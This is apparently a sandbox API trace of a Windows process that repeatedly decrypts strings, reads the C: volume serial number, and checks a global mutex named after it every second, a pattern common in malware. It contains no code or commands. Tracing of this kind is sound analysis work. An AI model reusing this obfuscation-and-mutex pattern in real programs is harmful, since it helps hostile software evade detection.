	[0079.505] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x32e08) returned 1
	[0079.505] CryptSetKeyParam (hKey=0x32e08, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0079.505] CryptDecrypt (in: hKey=0x32e08, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa19370, pdwDataLen=0x116fa00 | out: pbData=0xa19370, pdwDataLen=0x116fa00) returned 1
	[0079.505] CryptDestroyKey (hKey=0x32e08) returned 1
	[0079.505] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa19140
	[0079.505] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa19398
	[0079.505] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0079.505] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x32888) returned 1
	[0079.505] CryptSetKeyParam (hKey=0x32888, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0079.505] CryptDecrypt (in: hKey=0x32888, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0079.505] CryptDestroyKey (hKey=0x32888) returned 1
	[0079.505] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0079.505] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa19140, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0079.506] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19398 | out: hHeap=0xa10000) returned 1
	[0079.506] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19370 | out: hHeap=0xa10000) returned 1
	[0079.506] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0079.506] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19140 | out: hHeap=0xa10000) returned 1
	[0079.506] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0079.506] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x329c8) returned 1
	[0079.506] CryptSetKeyParam (hKey=0x329c8, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0079.506] CryptDecrypt (in: hKey=0x329c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0079.506] CryptDestroyKey (hKey=0x329c8) returned 1
	[0079.506] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0079.506] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c4
	[0079.506] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102
	[0079.506] CloseHandle (hObject=0x2c4) returned 1
	[0079.506] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0079.506] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0079.506] Sleep (dwMilliseconds=0x3e8) 
	[0080.519] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa191b8
	[0080.519] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x32888) returned 1
	[0080.519] CryptSetKeyParam (hKey=0x32888, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0080.519] CryptDecrypt (in: hKey=0x32888, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa191b8, pdwDataLen=0x116fa00 | out: pbData=0xa191b8, pdwDataLen=0x116fa00) returned 1
	[0080.519] CryptDestroyKey (hKey=0x32888) returned 1
	[0080.519] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa19460
	[0080.519] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa191e0
	[0080.519] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0080.519] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x32a48) returned 1
	[0080.519] CryptSetKeyParam (hKey=0x32a48, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0080.520] CryptDecrypt (in: hKey=0x32a48, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0080.520] CryptDestroyKey (hKey=0x32a48) returned 1
	[0080.520] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0080.520] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa19460, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0080.520] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa191e0 | out: hHeap=0xa10000) returned 1
	[0080.520] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa191b8 | out: hHeap=0xa10000) returned 1
	[0080.520] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0080.520] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19460 | out: hHeap=0xa10000) returned 1
	[0080.520] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0080.520] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x327c8) returned 1
	[0080.520] CryptSetKeyParam (hKey=0x327c8, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0080.520] CryptDecrypt (in: hKey=0x327c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0080.520] CryptDestroyKey (hKey=0x327c8) returned 1
	[0080.520] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0080.520] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c4
	[0080.520] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102
	[0080.520] CloseHandle (hObject=0x2c4) returned 1
	[0080.520] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0080.520] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0080.520] Sleep (dwMilliseconds=0x3e8) 
	[0081.533] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa193c0
	[0081.533] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x32f08) returned 1
	[0081.533] CryptSetKeyParam (hKey=0x32f08, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0081.533] CryptDecrypt (in: hKey=0x32f08, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa193c0, pdwDataLen=0x116fa00 | out: pbData=0xa193c0, pdwDataLen=0x116fa00) returned 1
	[0081.533] CryptDestroyKey (hKey=0x32f08) returned 1
	[0081.533] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa193e8
	[0081.533] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa19208
	[0081.533] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0081.533] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x32e88) returned 1
	[0081.533] CryptSetKeyParam (hKey=0x32e88, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0081.533] CryptDecrypt (in: hKey=0x32e88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0081.533] CryptDestroyKey (hKey=0x32e88) returned 1
	[0081.533] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0081.534] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa193e8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0081.534] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19208 | out: hHeap=0xa10000) returned 1
	[0081.534] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa193c0 | out: hHeap=0xa10000) returned 1
	[0081.534] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0081.534] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa193e8 | out: hHeap=0xa10000) returned 1
	[0081.534] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0081.534] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x32388) returned 1
	[0081.534] CryptSetKeyParam (hKey=0x32388, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0081.534] CryptDecrypt (in: hKey=0x32388, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0081.534] CryptDestroyKey (hKey=0x32388) returned 1
	[0081.534] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0081.534] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c4
	[0081.534] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102
	[0081.534] CloseHandle (hObject=0x2c4) returned 1
	[0081.534] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0081.534] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0081.534] Sleep (dwMilliseconds=0x3e8) 
	[0082.550] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa192a8
	[0082.550] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x32c08) returned 1
	[0082.550] CryptSetKeyParam (hKey=0x32c08, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0082.551] CryptDecrypt (in: hKey=0x32c08, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa192a8, pdwDataLen=0x116fa00 | out: pbData=0xa192a8, pdwDataLen=0x116fa00) returned 1
	[0082.551] CryptDestroyKey (hKey=0x32c08) returned 1
	[0082.551] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa193e8
	[0082.551] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa191e0
	[0082.551] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0082.551] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x330c8) returned 1
	[0082.551] CryptSetKeyParam (hKey=0x330c8, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0082.551] CryptDecrypt (in: hKey=0x330c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0082.551] CryptDestroyKey (hKey=0x330c8) returned 1
	[0082.551] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0082.551] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa193e8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0082.551] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa191e0 | out: hHeap=0xa10000) returned 1
	[0082.551] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa192a8 | out: hHeap=0xa10000) returned 1
	[0082.551] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0082.551] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa193e8 | out: hHeap=0xa10000) returned 1
	[0082.551] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0082.551] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x32908) returned 1
	[0082.551] CryptSetKeyParam (hKey=0x32908, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0082.551] CryptDecrypt (in: hKey=0x32908, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0082.551] CryptDestroyKey (hKey=0x32908) returned 1
	[0082.551] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0082.552] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c4
	[0082.552] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102
	[0082.552] CloseHandle (hObject=0x2c4) returned 1
	[0082.552] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0082.552] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0082.552] Sleep (dwMilliseconds=0x3e8) 
	[0083.565] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa19230
	[0083.565] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x327c8) returned 1
	[0083.565] CryptSetKeyParam (hKey=0x327c8, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0083.565] CryptDecrypt (in: hKey=0x327c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa19230, pdwDataLen=0x116fa00 | out: pbData=0xa19230, pdwDataLen=0x116fa00) returned 1
	[0083.565] CryptDestroyKey (hKey=0x327c8) returned 1
	[0083.565] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa192f8
	[0083.565] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa19438
	[0083.565] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0083.565] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x32888) returned 1
	[0083.565] CryptSetKeyParam (hKey=0x32888, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0083.565] CryptDecrypt (in: hKey=0x32888, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0083.565] CryptDestroyKey (hKey=0x32888) returned 1
	[0083.565] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0083.565] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa192f8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0083.565] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19438 | out: hHeap=0xa10000) returned 1
	[0083.565] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19230 | out: hHeap=0xa10000) returned 1
	[0083.565] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0083.565] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa192f8 | out: hHeap=0xa10000) returned 1
	[0083.565] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0083.565] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x32248) returned 1
	[0083.565] CryptSetKeyParam (hKey=0x32248, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0083.565] CryptDecrypt (in: hKey=0x32248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0083.565] CryptDestroyKey (hKey=0x32248) returned 1
	[0083.566] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0083.566] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c4
	[0083.566] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102
	[0083.566] CloseHandle (hObject=0x2c4) returned 1
	[0083.566] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0083.566] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0083.566] Sleep (dwMilliseconds=0x3e8) 
	[0084.597] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa19168
	[0084.597] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x33008) returned 1
	[0084.597] CryptSetKeyParam (hKey=0x33008, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0084.597] CryptDecrypt (in: hKey=0x33008, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa19168, pdwDataLen=0x116fa00 | out: pbData=0xa19168, pdwDataLen=0x116fa00) returned 1
	[0084.597] CryptDestroyKey (hKey=0x33008) returned 1
	[0084.597] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa19208
	[0084.597] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa19190
	[0084.597] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0084.597] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x32488) returned 1
	[0084.597] CryptSetKeyParam (hKey=0x32488, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0084.597] CryptDecrypt (in: hKey=0x32488, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0084.598] CryptDestroyKey (hKey=0x32488) returned 1
	[0084.598] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0084.598] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa19208, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0084.598] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19190 | out: hHeap=0xa10000) returned 1
	[0084.598] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19168 | out: hHeap=0xa10000) returned 1
	[0084.598] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0084.598] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19208 | out: hHeap=0xa10000) returned 1
	[0084.598] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0084.598] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x32b08) returned 1
	[0084.598] CryptSetKeyParam (hKey=0x32b08, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0084.598] CryptDecrypt (in: hKey=0x32b08, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0084.598] CryptDestroyKey (hKey=0x32b08) returned 1
	[0084.598] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0084.598] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x268
	[0084.598] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0x0) returned 0x102
	[0084.598] CloseHandle (hObject=0x268) returned 1
	[0084.598] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0084.598] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0084.599] Sleep (dwMilliseconds=0x3e8) 
	[0085.611] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa191e0
	[0085.611] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x32488) returned 1
	[0085.611] CryptSetKeyParam (hKey=0x32488, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0085.611] CryptDecrypt (in: hKey=0x32488, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa191e0, pdwDataLen=0x116fa00 | out: pbData=0xa191e0, pdwDataLen=0x116fa00) returned 1
	[0085.611] CryptDestroyKey (hKey=0x32488) returned 1
	[0085.611] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa19488
	[0085.611] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa19370
	[0085.611] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0085.611] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x32e88) returned 1
	[0085.611] CryptSetKeyParam (hKey=0x32e88, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0085.611] CryptDecrypt (in: hKey=0x32e88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0085.611] CryptDestroyKey (hKey=0x32e88) returned 1
	[0085.611] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0085.612] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa19488, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0085.612] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19370 | out: hHeap=0xa10000) returned 1
	[0085.612] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa191e0 | out: hHeap=0xa10000) returned 1
	[0085.612] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0085.612] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19488 | out: hHeap=0xa10000) returned 1
	[0085.612] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0085.612] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x32788) returned 1
	[0085.612] CryptSetKeyParam (hKey=0x32788, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0085.612] CryptDecrypt (in: hKey=0x32788, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0085.612] CryptDestroyKey (hKey=0x32788) returned 1
	[0085.612] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0085.612] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x268
	[0085.612] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0x0) returned 0x102
	[0085.612] CloseHandle (hObject=0x268) returned 1
